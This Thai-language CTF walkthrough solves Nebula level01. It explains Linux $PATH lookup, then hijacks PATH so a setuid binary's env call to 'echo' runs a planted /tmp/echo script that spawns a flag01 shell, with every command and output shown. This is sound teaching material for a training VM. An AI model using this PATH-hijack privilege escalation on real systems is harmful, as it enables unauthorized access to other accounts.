บทนำ (Overview)
บทความนี้จะกล่าวถึง “environment variable” ($PATH) บนระบบปฎิบัติการ Linux สิ่งมีความสำคัญและสะดวกสบายอย่างยิ่งเมื่อต้องการเรียกใช้งานโปรแกรม ยกตัวอย่างเช่น เมื่อเราต้องการใช้งานคำสั่ง ls เราก็สามารถพิมพ์แค่ ls โดยไม่จำเป็นต้องพิมพ์คำสั่งแบบเต็มๆ คือ /bin/ls สาเหตุที่เราทำอย่างนี้ได้เพราะ เรามีการกำหนดตัวแปรที่เรียกว่า “environment variable” ซึ่งก็คือตัวแปร “PATH” จะคอยจดจำตำแหน่งของ ไดเรกทอรีเอาไว้ ซึ่งจะคั่นด้วย “:” นั้นเอง
level01@nebula:/home/flag01$ echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
จากตัวอย่างข้างต้นนั้นตัวแปร $PATH จะเก็บไดเรกทรอรีไว้ และมีขั้นตอนการทำงานง่าย ๆ ดังนี้
- ถ้าเราพิมพ์คำสั่งที่สามารถ Execute ได้นั้น
- ระบบจะไปค้นหาโปรแกรมดังกล่าวที่โฟลเดอร์ /usr/local/sbin ถ้าพบก็จะ Run คำสั่งดังกล่าว
- ถ้าไม่พบจะค้นใน /usr/local/bin ถ้าพบก็จะ Run คำสั่งดังกล่าว
- ถ้าไม่พบจะค้นใน /usr/sbin ถ้าพบก็จะ Run คำสั่งดังกล่าว
- ถ้าไม่พบจะค้นใน /usr/bin ถ้าพบก็จะ Run คำสั่งดังกล่าว
- ถ้าไม่พบจะค้นใน /sbin:/bin ถ้าพบก็จะ Run คำสั่งดังกล่าว
- ถ้าไม่พบจะค้นใน /bin ถ้าพบก็จะ Run คำสั่งดังกล่าว
- ถ้าไม่พบจะค้นใน /usr/games ถ้าพบก็จะ Run คำสั่งดังกล่าว
และในแต่ตัวแปร “$PATH” ก็จะแตกต่างในแต่ละ “User” ที่เรา “Login” เข้ามาใช้งานได้ด้วย สำหรับการกำหนด “$PATH” เราสามารถทำได้โดยใช้โครงสร้างดังนี้
PATH="/Folder/:$PATH" export PATH
ขั้นตอน (Steps)
- ดาวน์โหลด “VM” ได้จาก https://exploit-exercises.com/download/
- “Login” โดยใช้ “User” คือ “level01” และ “Password” คือ “level01”
- โดยวัตถุประสงค์เราจะยกระดับสิทธิจาก “level01” เป็น “flag01”
- พบโปรแกรมคือ “/home/flag01”
level01@nebula:/home/flag01$ ls -l total 8 -rwsr-x--- 1 flag01 level01 7322 2011-11-20 21:22 flag01
- ทดลองใช้งานโปรแกรม
level01@nebula:/home/flag01$ ./flag01 and now what? level01@nebula:/home/flag01$ getflag getflag is executing on a non-flag account, this doesn't count
- จากโจทย์โปรแกรมดังกล่าวมี “Source-code” โดยให้ค้นหาว่าช่องโหว่ดังกล่าวคือ สามารถตรวจสอบรายละเอียดของโจทย์ ได้จาก https://exploit-exercises.com/nebula/level01/
int main(int argc, char **argv, char **envp) { gid_t gid; uid_t uid; gid = getegid(); uid = geteuid(); setresgid(gid, gid, gid); setresuid(uid, uid, uid); system("/usr/bin/env echo and now what?"); }
- มีการดึงค่า egid (Group) และ euid (User) โดยใช้คำสั่ง getegid() และ geteuid() มาใช้เป็น gid และ uid เปรียบได้กับตั้ง SUID สามารถติดตามบทความมเกี่ยวข้อง SUID ได้จากบทความ How to find SUID permission – Nebula 00
- จาก Source-code ข้างต้นเราพบว่า “/usr/bin/env” โดยที่ “env” คือสิ่งที่ใช้สำหรับตั้งค่าใช้งาน “interpreter” สำหรับโปรแกรมนั้น ๆ ตัวอย่างเช่น
#!/usr/bin/env/ python
- โดยที่ “env” จะทำการค้นหา “path” ที่อยู่ใน “environment variable” หรือก็คือ “$path” ถ้าหาพบจะสามาถ “execute” ได้
level01@nebula:/home/flag01$ echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
- ในส่วนของ คำสั่ง “/bin/echo (echo)” คือคำสั่ง เขียนสตริงอักขระไปยังเอาต์พุตมาตรฐาน “String” ถูกแบ่ง ด้วยช่องว่าง และอักขระบรรทัดใหม่ตามหลังพารามิเตอร์ “String” สุดท้าย ที่ระบุ ถ้าไม่มีการระบุพารามิเตอร์ “String” บรรทัดว่าง (อักขระขึ้นบรรทัดใหม่) จะถูกแสดง
root@kali:~# /bin/echo test test
- ดังนั้นจากส่วนโปรแกรมที่เขียนขึ้นนั้นหมายความว่า “env” จะเรียกใช้งาาน “echo” ดังนั้นเป็นไปได้ว่าเราจะสร้าง script ขึ้นมาและเปลี่ยน “$path” เพื่อชี้ไปยัง “Script” ที่เราสร้างขึ้นมา
- ดังนั้นเราจะหาโฟลเดอร์ที่ทำให้เราเขียนไฟล์ได้ ปกติเราใช้งานโฟลเดอร์ /tmp
drwxrwxrwt 8 root root 160 2017-02-04 07:42 tmp
- สร้างไฟล์ “echo” ในโฟลเดอร์ /tmp/ ซึ่งไฟล์ดังกล่าวจะสามารถเรียกใช้งาน “/bin/bash”
#สร้างไฟล์ echo ในโฟลเดอร์ tmp โดยเรียกคำสั่ง /bin/bash level01@nebula:/$ echo "/bin/bash" > /tmp/echo level01@nebula:/$ cat /tmp/echo /bin/bash #กำหนดไฟล์ /tmp/echo ให้สามารถให้ได้สิทธิ "Execute" ได้ level01@nebula:/$ ls -l /tmp/echo -rw-rw-r-- 1 level01 level01 10 2017-02-04 07:56 /tmp/echo level01@nebula:/$ chmod +x /tmp/echo level01@nebula:/$ ls -l /tmp/echo -rwxrwxr-x 1 level01 level01 10 2017-02-04 07:56 /tmp/echo
- เราสามารถเปลี่ยน “$PATH” ได้โดยให้เพิ่มไดเรกทอรี “/tmp” ที่เราสร้าง /tmp/echo โดยใช้คำสั่งดังนี้
level01@nebula:/$ export PATH=/tmp/:$PATH level01@nebula:/$ echo $PATH /tmp/:/tmp:/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
- ก่อนอื่นเรากลับมาดู “UID” ปัจจุบันของเราก่อน
level01@nebula:/$ id uid=1002(level01) gid=1002(level01) groups=1002(level01)
- ที่นี้ถ้าเราย้อนกลับไปดูส่วนโปรแกรม
system("/usr/bin/env echo and now what?");
- เมื่อเราเรียกใช้งานโปรแกรมข้างต้น จะมีขั้นตอนดังนี้
- โปรแกรมประมวลส่วนของ system()
- โปรแกรมจะเรียกใช้งาน /usr/bin/env
- โดยมีอาร์กิวเมนต์ตัวแรกคือชื่อ โปรแกรม echo
- แต่เรากำหนด $PATH เอาไว้เป็น /tmp/
- ดังนั้นจะไปเรียกโปรแกรม /tmp/echo แทนที่ /bin/echo
- โปรแกรมจะประมวลผล /tmp/echo ที่มีการเรียกใช้งาน /bin/bash
- egid และ และ euid ถูกตั้งค่าเป็น flag01 ทำให้สามารถใช้งานด้วยสิทธิ flag01
flag01@nebula:/home/flag01$ id uid=998(flag01) gid=1002(level01) groups=998(flag01),1002(level01) flag01@nebula:/home/flag01$ getflag You have successfully executed getflag on a target account